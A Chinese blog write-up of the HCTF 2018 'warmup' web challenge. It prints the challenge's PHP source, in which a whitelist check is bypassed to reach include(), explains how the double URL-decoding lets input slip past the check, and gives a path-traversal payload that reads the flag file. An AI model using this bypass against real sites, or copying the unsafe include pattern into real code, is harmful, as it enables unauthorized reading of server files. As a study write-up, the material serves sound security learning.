HCTF 2018-warmup

HCTF 2018-warmup

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> you can't see it

first

第一段

if (! empty($_REQUEST['file'])
      && is_string($_REQUEST['file'])
      && emmm::checkFile($_REQUEST['file'])
    )

首先你的file参数不能为空,

其次是个字符串

最后必须可以经受住 checkFile函数的考研

second_for_checkFile

public static function checkFile(&$page)
{
	$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
	if (! isset($page) || !is_string($page)) {//1
		echo "you can't see it";
		return false;
	}

	if (in_array($page, $whitelist)) {//2
		return true;
	}

	$_page = mb_substr(//3
		$page,
		0,
		mb_strpos($page . '?', '?')
	);
	if (in_array($_page, $whitelist)) {//3
		return true;
	}

	$_page = urldecode($page);
	$_page = mb_substr(
		$_page,
		0,
		mb_strpos($_page . '?', '?')
	);
    
	if (in_array($_page, $whitelist)) {//4
		return true;
	}
	echo "you can't see it";
	return false;
}

讲四块if条件句一点点看

前两个

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {//1
		echo "you can't see it";
		return false;
}
if (in_array($page, $whitelist)) {//2
		return true;
}

可以看出,声明了一个白名单。

第一个if句避开的条件为,存在page并且page是字符串,这个我们很好过。

第二个是说如果我们的page在白名单那么可以通过,

这里我们可以只写?file=hint.php或者?file=source.php

hint.php显示了内容,如下图

flag in ffffllllaaaagggg

image-20200508221048640

第三个

$_page = mb_substr(//3
		$page,
		0,
		mb_strpos($page . '?', '?')
	);
if (in_array($_page, $whitelist)) {//3
	return true;
}

先明确一下函数作用

mb_substr() 截取字符串
https://www.runoob.com/php/func-string-mb_substr.html

mb_strpos函数
查找字符串在另一个字符串中首次出现的位置    
https://www.php.net/manual/zh/function.mb-strpos.php    

如果不知道这一段是干嘛的,可以接着往下看。

第四个

$_page = urldecode($page);
$_page = mb_substr(
	$_page,
	0,
	mb_strpos($_page . '?', '?')
);

if (in_array($_page, $whitelist)) {//4
	return true;
}
echo "you can't see it";
return false;

先是进行了url解码,发现下方又进行了一次同样方式的截取,嘿~

这时候想到了嘛?!

我们可以先传入一段payload,

然后让他的函数第二次url解码,然后可以在?前写source.php或者hint.php

那么即可成功进入第四个if语句,让其返回true。

构造payload:

<?php
$a = "source.php?/../../../../ffffllllaaaagggg";
echo urlencode($a);
?>

为什么写四次../?

一般写php的网站的目录结构大概是

/var/www/html/xxx.php

比如:

/var/www/html/hint.php

/var/www/html/source.php

所以一般写三到四次即可。

( 我觉得ffffllllaaaagggg都写了四次可能也就是在暗示四层。)

如果不清楚,或者有其他怀疑?

那么一层层的试叭肯定不会很多层,一般不会有那种nt的出题人。

posted @ 2020-05-08 22:27  h3zh1  阅读(111)  评论(0编辑  收藏